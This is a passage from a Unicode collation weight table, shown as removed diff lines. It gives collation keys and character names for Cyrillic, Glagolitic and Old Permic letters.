CAPITAL LETTER RHA -0441 ; [.2105.0020.0002] # CYRILLIC SMALL LETTER ES -1C83 ; [.2105.0020.0004] # CYRILLIC SMALL LETTER WIDE ES -2DED ; [.2105.0020.0004] # COMBINING CYRILLIC LETTER ES -0421 ; [.2105.0020.0008] # CYRILLIC CAPITAL LETTER ES -2DF5 ; [.2105.0020.0004][.210E.0020.0004] # COMBINING CYRILLIC LETTER ES-TE -050D ; [.2109.0020.0002] # CYRILLIC SMALL LETTER KOMI SJE -050C ; [.2109.0020.0008] # CYRILLIC CAPITAL LETTER KOMI SJE -04AB ; [.210A.0020.0002] # CYRILLIC SMALL LETTER ES WITH DESCENDER -04AA ; [.210A.0020.0008] # CYRILLIC CAPITAL LETTER ES WITH DESCENDER -0442 ; [.210E.0020.0002] # CYRILLIC SMALL LETTER TE -1C84 ; [.210E.0020.0004] # CYRILLIC SMALL LETTER TALL TE -1C85 ; [.210E.0020.0004] # CYRILLIC SMALL LETTER THREE-LEGGED TE -2DEE ; [.210E.0020.0004] # COMBINING CYRILLIC LETTER TE -0422 ; [.210E.0020.0008] # CYRILLIC CAPITAL LETTER TE -A68D ; [.2112.0020.0002] # CYRILLIC SMALL LETTER TWE -A68C ; [.2112.0020.0008] # CYRILLIC CAPITAL LETTER TWE -050F ; [.2113.0020.0002] # CYRILLIC SMALL LETTER KOMI TJE -050E ; [.2113.0020.0008] # CYRILLIC CAPITAL LETTER KOMI TJE -04AD ; [.2114.0020.0002] # CYRILLIC SMALL LETTER TE WITH DESCENDER -04AC ; [.2114.0020.0008] # CYRILLIC CAPITAL LETTER TE WITH DESCENDER -A68B ; [.2118.0020.0002] # CYRILLIC SMALL LETTER TE WITH MIDDLE HOOK -A68A ; [.2118.0020.0008] # CYRILLIC CAPITAL LETTER TE WITH MIDDLE HOOK -045B ; [.2119.0020.0002] # CYRILLIC SMALL LETTER TSHE -040B ; [.2119.0020.0008] # CYRILLIC CAPITAL LETTER TSHE -0443 ; [.211D.0020.0002] # CYRILLIC SMALL LETTER U -A677 ; [.211D.0020.0004] # COMBINING CYRILLIC LETTER U -0423 ; [.211D.0020.0008] # CYRILLIC CAPITAL LETTER U -045E ; [.211D.0020.0002][.0000.0026.0002] # CYRILLIC SMALL LETTER SHORT U -040E ; [.211D.0020.0008][.0000.0026.0002] # CYRILLIC CAPITAL LETTER SHORT U -04F1 ; [.211D.0020.0002][.0000.002B.0002] # CYRILLIC SMALL LETTER U WITH DIAERESIS -04F0 ; [.211D.0020.0008][.0000.002B.0002] # CYRILLIC CAPITAL LETTER U WITH DIAERESIS -04F3 ; [.211D.0020.0002][.0000.002C.0002] # CYRILLIC SMALL LETTER U WITH DOUBLE ACUTE -04F2 ; [.211D.0020.0008][.0000.002C.0002] # CYRILLIC CAPITAL LETTER U WITH DOUBLE ACUTE -04EF ; [.211D.0020.0002][.0000.0032.0002] # CYRILLIC SMALL LETTER U WITH MACRON -04EE ; [.211D.0020.0008][.0000.0032.0002] # CYRILLIC CAPITAL LETTER U WITH MACRON -04AF ; [.2121.0020.0002] # CYRILLIC SMALL LETTER STRAIGHT U -04AE ; [.2121.0020.0008] # CYRILLIC CAPITAL LETTER STRAIGHT U -04B1 ; [.2125.0020.0002] # CYRILLIC SMALL LETTER STRAIGHT U WITH STROKE -04B0 ; [.2125.0020.0008] # CYRILLIC CAPITAL LETTER STRAIGHT U WITH STROKE -A64B ; [.2129.0020.0002] # CYRILLIC SMALL LETTER MONOGRAPH UK -1C88 ; [.2129.0020.0004] # CYRILLIC SMALL LETTER UNBLENDED UK -2DF9 ; [.2129.0020.0004] # COMBINING CYRILLIC LETTER MONOGRAPH UK -A64A ; [.2129.0020.0008] # CYRILLIC CAPITAL LETTER MONOGRAPH UK -0479 ; [.212A.0020.0002] # CYRILLIC SMALL LETTER UK -0478 ; [.212A.0020.0008] # CYRILLIC CAPITAL LETTER UK -0444 ; [.212E.0020.0002] # CYRILLIC SMALL LETTER EF -A69E ; [.212E.0020.0004] # COMBINING CYRILLIC LETTER EF -0424 ; [.212E.0020.0008] # CYRILLIC CAPITAL LETTER EF -0445 ; [.2132.0020.0002] # CYRILLIC SMALL LETTER HA -2DEF ; [.2132.0020.0004] # COMBINING CYRILLIC LETTER HA -0425 ; [.2132.0020.0008] # CYRILLIC CAPITAL LETTER HA -04FD ; [.2136.0020.0002] # CYRILLIC SMALL LETTER HA WITH HOOK -04FC ; [.2136.0020.0008] # CYRILLIC CAPITAL LETTER HA WITH HOOK -04FF ; [.213A.0020.0002] # CYRILLIC SMALL LETTER HA WITH STROKE -04FE ; [.213A.0020.0008] # CYRILLIC CAPITAL LETTER HA WITH STROKE -04B3 ; [.213E.0020.0002] # CYRILLIC SMALL LETTER HA WITH DESCENDER -04B2 ; [.213E.0020.0008] # CYRILLIC CAPITAL LETTER HA WITH DESCENDER -04BB ; [.2142.0020.0002] # CYRILLIC SMALL LETTER SHHA -04BA ; [.2142.0020.0008] # CYRILLIC CAPITAL LETTER SHHA -0527 ; [.2146.0020.0002] # CYRILLIC SMALL LETTER SHHA WITH DESCENDER -0526 ; [.2146.0020.0008] # CYRILLIC CAPITAL LETTER SHHA WITH DESCENDER -A695 ; [.2147.0020.0002] # CYRILLIC SMALL LETTER HWE -A694 ; [.2147.0020.0008] # CYRILLIC CAPITAL LETTER HWE -0461 ; [.2148.0020.0002] # CYRILLIC SMALL LETTER OMEGA -A67B ; [.2148.0020.0004] # COMBINING CYRILLIC LETTER OMEGA -0460 ; [.2148.0020.0008] # CYRILLIC CAPITAL LETTER OMEGA -047F ; [.214C.0020.0002] # CYRILLIC SMALL LETTER OT -047E ; [.214C.0020.0008] # CYRILLIC CAPITAL LETTER OT -A64D ; [.2150.0020.0002] # CYRILLIC SMALL LETTER BROAD OMEGA -A64C ; [.2150.0020.0008] # CYRILLIC CAPITAL LETTER BROAD OMEGA -047D ; [.2151.0020.0002] # CYRILLIC SMALL LETTER OMEGA WITH TITLO -047C ; [.2151.0020.0008] # CYRILLIC CAPITAL LETTER OMEGA WITH TITLO -047B ; [.2155.0020.0002] # CYRILLIC SMALL LETTER ROUND OMEGA -047A ; [.2155.0020.0008] # CYRILLIC CAPITAL LETTER ROUND OMEGA -0446 ; [.2159.0020.0002] # CYRILLIC SMALL LETTER TSE -2DF0 ; [.2159.0020.0004] # COMBINING CYRILLIC LETTER TSE -0426 ; [.2159.0020.0008] # CYRILLIC CAPITAL LETTER TSE -A661 ; [.215D.0020.0002] # CYRILLIC SMALL LETTER REVERSED TSE -A660 ; [.215D.0020.0008] # CYRILLIC CAPITAL LETTER REVERSED TSE -A68F ; [.215E.0020.0002] # CYRILLIC SMALL LETTER TSWE -A68E ; [.215E.0020.0008] # CYRILLIC CAPITAL LETTER TSWE -04B5 ; [.215F.0020.0002] # CYRILLIC SMALL LIGATURE TE TSE -04B4 ; [.215F.0020.0008] # CYRILLIC CAPITAL LIGATURE TE TSE -A691 ; [.2163.0020.0002] # CYRILLIC SMALL LETTER TSSE -A690 ; [.2163.0020.0008] # CYRILLIC CAPITAL LETTER TSSE -0447 ; [.2164.0020.0002] # CYRILLIC SMALL LETTER CHE -2DF1 ; [.2164.0020.0004] # COMBINING CYRILLIC LETTER CHE -0427 ; [.2164.0020.0008] # CYRILLIC CAPITAL LETTER CHE -04F5 ; [.2164.0020.0002][.0000.002B.0002] # CYRILLIC SMALL LETTER CHE WITH DIAERESIS -04F4 ; [.2164.0020.0008][.0000.002B.0002] # CYRILLIC CAPITAL LETTER CHE WITH DIAERESIS -052D ; [.2168.0020.0002] # CYRILLIC SMALL LETTER DCHE -052C ; [.2168.0020.0008] # CYRILLIC CAPITAL LETTER DCHE -A693 ; [.2169.0020.0002] # CYRILLIC SMALL LETTER TCHE -A692 ; [.2169.0020.0008] # CYRILLIC CAPITAL LETTER TCHE -04B7 ; [.216A.0020.0002] # CYRILLIC SMALL LETTER CHE WITH DESCENDER -04B6 ; [.216A.0020.0008] # CYRILLIC CAPITAL LETTER CHE WITH DESCENDER -04CC ; [.216E.0020.0002] # CYRILLIC SMALL LETTER KHAKASSIAN CHE -04CB ; [.216E.0020.0008] # CYRILLIC CAPITAL LETTER KHAKASSIAN CHE -04B9 ; [.2172.0020.0002] # CYRILLIC SMALL LETTER CHE WITH VERTICAL STROKE -04B8 ; [.2172.0020.0008] # CYRILLIC CAPITAL LETTER CHE WITH VERTICAL STROKE -A687 ; [.2176.0020.0002] # CYRILLIC SMALL LETTER CCHE -A686 ; [.2176.0020.0008] # CYRILLIC CAPITAL LETTER CCHE -04BD ; [.2177.0020.0002] # CYRILLIC SMALL LETTER ABKHASIAN CHE -04BC ; [.2177.0020.0008] # CYRILLIC CAPITAL LETTER ABKHASIAN CHE -04BF ; [.217B.0020.0002] # CYRILLIC SMALL LETTER ABKHASIAN CHE WITH DESCENDER -04BE ; [.217B.0020.0008] # CYRILLIC CAPITAL LETTER ABKHASIAN CHE WITH DESCENDER -045F ; [.217F.0020.0002] # CYRILLIC SMALL LETTER DZHE -040F ; [.217F.0020.0008] # CYRILLIC CAPITAL LETTER DZHE -0448 ; [.2183.0020.0002] # CYRILLIC SMALL LETTER SHA -2DF2 ; [.2183.0020.0004] # COMBINING CYRILLIC LETTER SHA -0428 ; [.2183.0020.0008] # CYRILLIC CAPITAL LETTER SHA -A697 ; [.2187.0020.0002] # CYRILLIC SMALL LETTER SHWE -A696 ; [.2187.0020.0008] # CYRILLIC CAPITAL LETTER SHWE -0449 ; [.2188.0020.0002] # CYRILLIC SMALL LETTER SHCHA -2DF3 ; [.2188.0020.0004] # COMBINING CYRILLIC LETTER SHCHA -0429 ; [.2188.0020.0008] # CYRILLIC CAPITAL LETTER SHCHA -A64F ; [.218C.0020.0002] # CYRILLIC SMALL LETTER NEUTRAL YER -A64E ; [.218C.0020.0008] # CYRILLIC CAPITAL LETTER NEUTRAL YER -2E2F ; [.218D.0020.0002] # VERTICAL TILDE -A67F ; [.218E.0020.0002] # CYRILLIC PAYEROK -044A ; [.218F.0020.0002] # CYRILLIC SMALL LETTER HARD SIGN -1C86 ; [.218F.0020.0004] # CYRILLIC SMALL LETTER TALL HARD SIGN -A678 ; [.218F.0020.0004] # COMBINING CYRILLIC LETTER HARD SIGN -042A ; [.218F.0020.0008] # CYRILLIC CAPITAL LETTER HARD SIGN -A69C ; [.218F.0020.0014] # MODIFIER LETTER CYRILLIC HARD SIGN -A651 ; [.2193.0020.0002] # CYRILLIC SMALL LETTER YERU WITH BACK YER -A650 ; [.2193.0020.0008] # CYRILLIC CAPITAL LETTER YERU WITH BACK YER -044B ; [.2194.0020.0002] # CYRILLIC SMALL LETTER YERU -A679 ; [.2194.0020.0004] # COMBINING CYRILLIC LETTER YERU -042B ; [.2194.0020.0008] # CYRILLIC CAPITAL LETTER YERU -04F9 ; [.2194.0020.0002][.0000.002B.0002] # CYRILLIC SMALL LETTER YERU WITH DIAERESIS -04F8 ; [.2194.0020.0008][.0000.002B.0002] # CYRILLIC CAPITAL LETTER YERU WITH DIAERESIS -044C ; [.2198.0020.0002] # CYRILLIC SMALL LETTER SOFT SIGN -A67A ; [.2198.0020.0004] # COMBINING CYRILLIC LETTER SOFT SIGN -042C ; [.2198.0020.0008] # CYRILLIC CAPITAL LETTER SOFT SIGN -A69D ; [.2198.0020.0014] # MODIFIER LETTER CYRILLIC SOFT SIGN -048D ; [.219C.0020.0002] # CYRILLIC SMALL LETTER SEMISOFT SIGN -048C ; [.219C.0020.0008] # CYRILLIC CAPITAL LETTER SEMISOFT SIGN -0463 ; [.21A0.0020.0002] # CYRILLIC SMALL LETTER YAT -1C87 ; [.21A0.0020.0004] # CYRILLIC SMALL LETTER TALL YAT -2DFA ; [.21A0.0020.0004] # COMBINING CYRILLIC LETTER YAT -0462 ; [.21A0.0020.0008] # CYRILLIC CAPITAL LETTER YAT -A653 ; [.21A4.0020.0002] # CYRILLIC SMALL LETTER IOTIFIED YAT -A652 ; [.21A4.0020.0008] # CYRILLIC CAPITAL LETTER IOTIFIED YAT -044D ; [.21A5.0020.0002] # CYRILLIC SMALL LETTER E -042D ; [.21A5.0020.0008] # CYRILLIC CAPITAL LETTER E -04ED ; [.21A5.0020.0002][.0000.002B.0002] # CYRILLIC SMALL LETTER E WITH DIAERESIS -04EC ; [.21A5.0020.0008][.0000.002B.0002] # CYRILLIC CAPITAL LETTER E WITH DIAERESIS -044E ; [.21A9.0020.0002] # CYRILLIC SMALL LETTER YU -2DFB ; [.21A9.0020.0004] # COMBINING CYRILLIC LETTER YU -042E ; [.21A9.0020.0008] # CYRILLIC CAPITAL LETTER YU -A655 ; [.21AD.0020.0002] # CYRILLIC SMALL LETTER REVERSED YU -A654 ; [.21AD.0020.0008] # CYRILLIC CAPITAL LETTER REVERSED YU -A657 ; [.21AE.0020.0002] # CYRILLIC SMALL LETTER IOTIFIED A -2DFC ; [.21AE.0020.0004] # COMBINING CYRILLIC LETTER IOTIFIED A -A656 ; [.21AE.0020.0008] # CYRILLIC CAPITAL LETTER IOTIFIED A -044F ; [.21AF.0020.0002] # CYRILLIC SMALL LETTER YA -042F ; [.21AF.0020.0008] # CYRILLIC CAPITAL LETTER YA -0519 ; [.21B3.0020.0002] # CYRILLIC SMALL LETTER YAE -0518 ; [.21B3.0020.0008] # CYRILLIC CAPITAL LETTER YAE -0465 ; [.21B4.0020.0002] # CYRILLIC SMALL LETTER IOTIFIED E -A69F ; [.21B4.0020.0004] # COMBINING CYRILLIC LETTER IOTIFIED E -0464 ; [.21B4.0020.0008] # CYRILLIC CAPITAL LETTER IOTIFIED E -0467 ; [.21B8.0020.0002] # CYRILLIC SMALL LETTER LITTLE YUS -2DFD ; [.21B8.0020.0004] # COMBINING CYRILLIC LETTER LITTLE YUS -0466 ; [.21B8.0020.0008] # CYRILLIC CAPITAL LETTER LITTLE YUS -A659 ; [.21BC.0020.0002] # CYRILLIC SMALL LETTER CLOSED LITTLE YUS -A658 ; [.21BC.0020.0008] # CYRILLIC CAPITAL LETTER CLOSED LITTLE YUS -046B ; [.21BD.0020.0002] # CYRILLIC SMALL LETTER BIG YUS -2DFE ; [.21BD.0020.0004] # COMBINING CYRILLIC LETTER BIG YUS -046A ; [.21BD.0020.0008] # CYRILLIC CAPITAL LETTER BIG YUS -A65B ; [.21C1.0020.0002] # CYRILLIC SMALL LETTER BLENDED YUS -A65A ; [.21C1.0020.0008] # CYRILLIC CAPITAL LETTER BLENDED YUS -0469 ; [.21C2.0020.0002] # CYRILLIC SMALL LETTER IOTIFIED LITTLE YUS -0468 ; [.21C2.0020.0008] # CYRILLIC CAPITAL LETTER IOTIFIED LITTLE YUS -A65D ; [.21C6.0020.0002] # CYRILLIC SMALL LETTER IOTIFIED CLOSED LITTLE YUS -A65C ; [.21C6.0020.0008] # CYRILLIC CAPITAL LETTER IOTIFIED CLOSED LITTLE YUS -046D ; [.21C7.0020.0002] # CYRILLIC SMALL LETTER IOTIFIED BIG YUS -2DFF ; [.21C7.0020.0004] # COMBINING CYRILLIC LETTER IOTIFIED BIG YUS -046C ; [.21C7.0020.0008] # CYRILLIC CAPITAL LETTER IOTIFIED BIG YUS -046F ; [.21CB.0020.0002] # CYRILLIC SMALL LETTER KSI -046E ; [.21CB.0020.0008] # CYRILLIC CAPITAL LETTER KSI -0471 ; [.21CF.0020.0002] # CYRILLIC SMALL LETTER PSI -0470 ; [.21CF.0020.0008] # CYRILLIC CAPITAL LETTER PSI -0473 ; [.21D3.0020.0002] # CYRILLIC SMALL LETTER FITA -2DF4 ; [.21D3.0020.0004] # COMBINING CYRILLIC LETTER FITA -0472 ; [.21D3.0020.0008] # CYRILLIC CAPITAL LETTER FITA -0475 ; [.21D7.0020.0002] # CYRILLIC SMALL LETTER IZHITSA -0474 ; [.21D7.0020.0008] # CYRILLIC CAPITAL LETTER IZHITSA -0477 ; [.21D7.0020.0002][.0000.003C.0002] # CYRILLIC SMALL LETTER IZHITSA WITH DOUBLE GRAVE ACCENT -0476 ; [.21D7.0020.0008][.0000.003C.0002] # CYRILLIC CAPITAL LETTER IZHITSA WITH DOUBLE GRAVE ACCENT -A65F ; [.21DB.0020.0002] # CYRILLIC SMALL LETTER YN -A65E ; [.21DB.0020.0008] # CYRILLIC CAPITAL LETTER YN -04A9 ; [.21DC.0020.0002] # CYRILLIC SMALL LETTER ABKHASIAN HA -04A8 ; [.21DC.0020.0008] # CYRILLIC CAPITAL LETTER ABKHASIAN HA -051D ; [.21E0.0020.0002] # CYRILLIC SMALL LETTER WE -051C ; [.21E0.0020.0008] # CYRILLIC CAPITAL LETTER WE -04CF ; [.21E1.0020.0002] # CYRILLIC SMALL LETTER PALOCHKA -04C0 ; [.21E1.0020.0008] # CYRILLIC LETTER PALOCHKA -2C30 ; [.21E5.0020.0002] # GLAGOLITIC SMALL LETTER AZU -1E000 ; [.21E5.0020.0004] # COMBINING GLAGOLITIC LETTER AZU -2C00 ; [.21E5.0020.0008] # GLAGOLITIC CAPITAL LETTER AZU -2C31 ; [.21E6.0020.0002] # GLAGOLITIC SMALL LETTER BUKY -1E001 ; [.21E6.0020.0004] # COMBINING GLAGOLITIC LETTER BUKY -2C01 ; [.21E6.0020.0008] # GLAGOLITIC CAPITAL LETTER BUKY -2C32 ; [.21E7.0020.0002] # GLAGOLITIC SMALL LETTER VEDE -1E002 ; [.21E7.0020.0004] # COMBINING GLAGOLITIC LETTER VEDE -2C02 ; [.21E7.0020.0008] # GLAGOLITIC CAPITAL LETTER VEDE -2C33 ; [.21E8.0020.0002] # GLAGOLITIC SMALL LETTER GLAGOLI -1E003 ; [.21E8.0020.0004] # COMBINING GLAGOLITIC LETTER GLAGOLI -2C03 ; [.21E8.0020.0008] # GLAGOLITIC CAPITAL LETTER GLAGOLI -2C34 ; [.21E9.0020.0002] # GLAGOLITIC SMALL LETTER DOBRO -1E004 ; [.21E9.0020.0004] # COMBINING GLAGOLITIC LETTER DOBRO -2C04 ; [.21E9.0020.0008] # GLAGOLITIC CAPITAL LETTER DOBRO -2C35 ; [.21EA.0020.0002] # GLAGOLITIC SMALL LETTER YESTU -1E005 ; [.21EA.0020.0004] # COMBINING GLAGOLITIC LETTER YESTU -2C05 ; [.21EA.0020.0008] # GLAGOLITIC CAPITAL LETTER YESTU -2C36 ; [.21EB.0020.0002] # GLAGOLITIC SMALL LETTER ZHIVETE -1E006 ; [.21EB.0020.0004] # COMBINING GLAGOLITIC LETTER ZHIVETE -2C06 ; [.21EB.0020.0008] # GLAGOLITIC CAPITAL LETTER ZHIVETE -2C37 ; [.21EC.0020.0002] # GLAGOLITIC SMALL LETTER DZELO -2C07 ; [.21EC.0020.0008] # GLAGOLITIC CAPITAL LETTER DZELO -2C38 ; [.21ED.0020.0002] # GLAGOLITIC SMALL LETTER ZEMLJA -1E008 ; [.21ED.0020.0004] # COMBINING GLAGOLITIC LETTER ZEMLJA -2C08 ; [.21ED.0020.0008] # GLAGOLITIC CAPITAL LETTER ZEMLJA -2C39 ; [.21EE.0020.0002] # GLAGOLITIC SMALL LETTER IZHE -1E009 ; [.21EE.0020.0004] # COMBINING GLAGOLITIC LETTER IZHE -2C09 ; [.21EE.0020.0008] # GLAGOLITIC CAPITAL LETTER IZHE -2C3A ; [.21EF.0020.0002] # GLAGOLITIC SMALL LETTER INITIAL IZHE -1E00A ; [.21EF.0020.0004] # COMBINING GLAGOLITIC LETTER INITIAL IZHE -2C0A ; [.21EF.0020.0008] # GLAGOLITIC CAPITAL LETTER INITIAL IZHE -2C3B ; [.21F0.0020.0002] # GLAGOLITIC SMALL LETTER I -1E00B ; [.21F0.0020.0004] # COMBINING GLAGOLITIC LETTER I -2C0B ; [.21F0.0020.0008] # GLAGOLITIC CAPITAL LETTER I -2C3C ; [.21F1.0020.0002] # GLAGOLITIC SMALL LETTER DJERVI -1E00C ; [.21F1.0020.0004] # COMBINING GLAGOLITIC LETTER DJERVI -2C0C ; [.21F1.0020.0008] # GLAGOLITIC CAPITAL LETTER DJERVI -2C3D ; [.21F2.0020.0002] # GLAGOLITIC SMALL LETTER KAKO -1E00D ; [.21F2.0020.0004] # COMBINING GLAGOLITIC LETTER KAKO -2C0D ; [.21F2.0020.0008] # GLAGOLITIC CAPITAL LETTER KAKO -2C3E ; [.21F3.0020.0002] # GLAGOLITIC SMALL LETTER LJUDIJE -1E00E ; [.21F3.0020.0004] # COMBINING GLAGOLITIC LETTER LJUDIJE -2C0E ; [.21F3.0020.0008] # GLAGOLITIC CAPITAL LETTER LJUDIJE -2C3F ; [.21F4.0020.0002] # GLAGOLITIC SMALL LETTER MYSLITE -1E00F ; [.21F4.0020.0004] # COMBINING GLAGOLITIC LETTER MYSLITE -2C0F ; [.21F4.0020.0008] # GLAGOLITIC CAPITAL LETTER MYSLITE -2C40 ; [.21F5.0020.0002] # GLAGOLITIC SMALL LETTER NASHI -1E010 ; [.21F5.0020.0004] # COMBINING GLAGOLITIC LETTER NASHI -2C10 ; [.21F5.0020.0008] # GLAGOLITIC CAPITAL LETTER NASHI -2C41 ; [.21F6.0020.0002] # GLAGOLITIC SMALL LETTER ONU -1E011 ; [.21F6.0020.0004] # COMBINING GLAGOLITIC LETTER ONU -2C11 ; [.21F6.0020.0008] # GLAGOLITIC CAPITAL LETTER ONU -2C42 ; [.21F7.0020.0002] # GLAGOLITIC SMALL LETTER POKOJI -1E012 ; [.21F7.0020.0004] # COMBINING GLAGOLITIC LETTER POKOJI -2C12 ; [.21F7.0020.0008] # GLAGOLITIC CAPITAL LETTER POKOJI -2C43 ; [.21F8.0020.0002] # GLAGOLITIC SMALL LETTER RITSI -1E013 ; [.21F8.0020.0004] # COMBINING GLAGOLITIC LETTER RITSI -2C13 ; [.21F8.0020.0008] # GLAGOLITIC CAPITAL LETTER RITSI -2C44 ; [.21F9.0020.0002] # GLAGOLITIC SMALL LETTER SLOVO -1E014 ; [.21F9.0020.0004] # COMBINING GLAGOLITIC LETTER SLOVO -2C14 ; [.21F9.0020.0008] # GLAGOLITIC CAPITAL LETTER SLOVO -2C45 ; [.21FA.0020.0002] # GLAGOLITIC SMALL LETTER TVRIDO -1E015 ; [.21FA.0020.0004] # COMBINING GLAGOLITIC LETTER TVRIDO -2C15 ; [.21FA.0020.0008] # GLAGOLITIC CAPITAL LETTER TVRIDO -2C46 ; [.21FB.0020.0002] # GLAGOLITIC SMALL LETTER UKU -1E016 ; [.21FB.0020.0004] # COMBINING GLAGOLITIC LETTER UKU -2C16 ; [.21FB.0020.0008] # GLAGOLITIC CAPITAL LETTER UKU -2C47 ; [.21FC.0020.0002] # GLAGOLITIC SMALL LETTER FRITU -1E017 ; [.21FC.0020.0004] # COMBINING GLAGOLITIC LETTER FRITU -2C17 ; [.21FC.0020.0008] # GLAGOLITIC CAPITAL LETTER FRITU -2C48 ; [.21FD.0020.0002] # GLAGOLITIC SMALL LETTER HERU -1E018 ; [.21FD.0020.0004] # COMBINING GLAGOLITIC LETTER HERU -2C18 ; [.21FD.0020.0008] # GLAGOLITIC CAPITAL LETTER HERU -2C49 ; [.21FE.0020.0002] # GLAGOLITIC SMALL LETTER OTU -2C19 ; [.21FE.0020.0008] # GLAGOLITIC CAPITAL LETTER OTU -2C4A ; [.21FF.0020.0002] # GLAGOLITIC SMALL LETTER PE -2C1A ; [.21FF.0020.0008] # GLAGOLITIC CAPITAL LETTER PE -2C4B ; [.2200.0020.0002] # GLAGOLITIC SMALL LETTER SHTA -1E01B ; [.2200.0020.0004] # COMBINING GLAGOLITIC LETTER SHTA -2C1B ; [.2200.0020.0008] # GLAGOLITIC CAPITAL LETTER SHTA -2C4C ; [.2201.0020.0002] # GLAGOLITIC SMALL LETTER TSI -1E01C ; [.2201.0020.0004] # COMBINING GLAGOLITIC LETTER TSI -2C1C ; [.2201.0020.0008] # GLAGOLITIC CAPITAL LETTER TSI -2C4D ; [.2202.0020.0002] # GLAGOLITIC SMALL LETTER CHRIVI -1E01D ; [.2202.0020.0004] # COMBINING GLAGOLITIC LETTER CHRIVI -2C1D ; [.2202.0020.0008] # GLAGOLITIC CAPITAL LETTER CHRIVI -2C4E ; [.2203.0020.0002] # GLAGOLITIC SMALL LETTER SHA -1E01E ; [.2203.0020.0004] # COMBINING GLAGOLITIC LETTER SHA -2C1E ; [.2203.0020.0008] # GLAGOLITIC CAPITAL LETTER SHA -2C4F ; [.2204.0020.0002] # GLAGOLITIC SMALL LETTER YERU -1E01F ; [.2204.0020.0004] # COMBINING GLAGOLITIC LETTER YERU -2C1F ; [.2204.0020.0008] # GLAGOLITIC CAPITAL LETTER YERU -2C50 ; [.2205.0020.0002] # GLAGOLITIC SMALL LETTER YERI -1E020 ; [.2205.0020.0004] # COMBINING GLAGOLITIC LETTER YERI -2C20 ; [.2205.0020.0008] # GLAGOLITIC CAPITAL LETTER YERI -2C51 ; [.2206.0020.0002] # GLAGOLITIC SMALL LETTER YATI -1E021 ; [.2206.0020.0004] # COMBINING GLAGOLITIC LETTER YATI -2C21 ; [.2206.0020.0008] # GLAGOLITIC CAPITAL LETTER YATI -2C52 ; [.2207.0020.0002] # GLAGOLITIC SMALL LETTER SPIDERY HA -2C22 ; [.2207.0020.0008] # GLAGOLITIC CAPITAL LETTER SPIDERY HA -2C53 ; [.2208.0020.0002] # GLAGOLITIC SMALL LETTER YU -1E023 ; [.2208.0020.0004] # COMBINING GLAGOLITIC LETTER YU -2C23 ; [.2208.0020.0008] # GLAGOLITIC CAPITAL LETTER YU -2C54 ; [.2209.0020.0002] # GLAGOLITIC SMALL LETTER SMALL YUS -1E024 ; [.2209.0020.0004] # COMBINING GLAGOLITIC LETTER SMALL YUS -2C24 ; [.2209.0020.0008] # GLAGOLITIC CAPITAL LETTER SMALL YUS -2C55 ; [.220A.0020.0002] # GLAGOLITIC SMALL LETTER SMALL YUS WITH TAIL -2C25 ; [.220A.0020.0008] # GLAGOLITIC CAPITAL LETTER SMALL YUS WITH TAIL -2C56 ; [.220B.0020.0002] # GLAGOLITIC SMALL LETTER YO -1E026 ; [.220B.0020.0004] # COMBINING GLAGOLITIC LETTER YO -2C26 ; [.220B.0020.0008] # GLAGOLITIC CAPITAL LETTER YO -2C57 ; [.220C.0020.0002] # GLAGOLITIC SMALL LETTER IOTATED SMALL YUS -1E027 ; [.220C.0020.0004] # COMBINING GLAGOLITIC LETTER IOTATED SMALL YUS -2C27 ; [.220C.0020.0008] # GLAGOLITIC CAPITAL LETTER IOTATED SMALL YUS -2C58 ; [.220D.0020.0002] # GLAGOLITIC SMALL LETTER BIG YUS -1E028 ; [.220D.0020.0004] # COMBINING GLAGOLITIC LETTER BIG YUS -2C28 ; [.220D.0020.0008] # GLAGOLITIC CAPITAL LETTER BIG YUS -2C59 ; [.220E.0020.0002] # GLAGOLITIC SMALL LETTER IOTATED BIG YUS -1E029 ; [.220E.0020.0004] # COMBINING GLAGOLITIC LETTER IOTATED BIG YUS -2C29 ; [.220E.0020.0008] # GLAGOLITIC CAPITAL LETTER IOTATED BIG YUS -2C5A ; [.220F.0020.0002] # GLAGOLITIC SMALL LETTER FITA -1E02A ; [.220F.0020.0004] # COMBINING GLAGOLITIC LETTER FITA -2C2A ; [.220F.0020.0008] # GLAGOLITIC CAPITAL LETTER FITA -2C5B ; [.2210.0020.0002] # GLAGOLITIC SMALL LETTER IZHITSA -2C2B ; [.2210.0020.0008] # GLAGOLITIC CAPITAL LETTER IZHITSA -2C5C ; [.2211.0020.0002] # GLAGOLITIC SMALL LETTER SHTAPIC -2C2C ; [.2211.0020.0008] # GLAGOLITIC CAPITAL LETTER SHTAPIC -2C5D ; [.2212.0020.0002] # GLAGOLITIC SMALL LETTER TROKUTASTI A -2C2D ; [.2212.0020.0008] # GLAGOLITIC CAPITAL LETTER TROKUTASTI A -2C5E ; [.2213.0020.0002] # GLAGOLITIC SMALL LETTER LATINATE MYSLITE -2C2E ; [.2213.0020.0008] # GLAGOLITIC CAPITAL LETTER LATINATE MYSLITE -10350 ; [.2214.0020.0002] # OLD PERMIC LETTER AN -10376 ; [.2214.0020.0004] # COMBINING OLD PERMIC LETTER AN -10351 ; [.2215.0020.0002] # OLD PERMIC LETTER BUR -10352 ; [.2216.0020.0002] # OLD PERMIC LETTER GAI -10353 ; [.2217.0020.0002] # OLD PERMIC LETTER DOI -10377 ; [.2217.0020.0004] # COMBINING OLD PERMIC LETTER DOI -10354 ; [.2218.0020.0002] # OLD PERMIC LETTER E -10355 ; [.2219.0020.0002] # OLD PERMIC LETTER ZHOI -10356 ; [.221A.0020.0002] # OLD PERMIC LETTER DZHOI -10357 ; [.221B.0020.0002] # OLD PERMIC LETTER ZATA -10378 ; [.221B.0020.0004] # COMBINING OLD PERMIC LETTER ZATA -10358 ; [.221C.0020.0002] # OLD PERMIC LETTER DZITA -10359 ; [.221D.0020.0002] # OLD PERMIC LETTER I -1035A ; [.221E.0020.0002] # OLD PERMIC LETTER KOKE -1035B ; [.221F.0020.0002] # OLD PERMIC LETTER LEI -1035C ; [.2220.0020.0002] # OLD PERMIC LETTER MENOE -1035D ; [.2221.0020.0002] # OLD PERMIC LETTER NENOE -10379 ; [.2221.0020.0004] # COMBINING OLD PERMIC LETTER NENOE -1035E ; [.2222.0020.0002] # OLD PERMIC LETTER VOOI -1035F ; [.2223.0020.0002] # OLD PERMIC LETTER PEEI -10360 ; [.2224.0020.0002] # OLD PERMIC LETTER REI -10361 ; [.2225.0020.0002] # OLD PERMIC LETTER SII -1037A ; [.2225.0020.0004] # COMBINING OLD PERMIC LETTER SII -10362 ; [.2226.0020.0002] # OLD PERMIC LETTER TAI -10363 ; [.2227.0020.0002] # OLD PERMIC LETTER U -10364 ; [.2228.0020.0002] # OLD PERMIC LETTER CHERY -10365 ; [.2229.0020.0002] # OLD PERMIC LETTER SHOOI -10366 ; 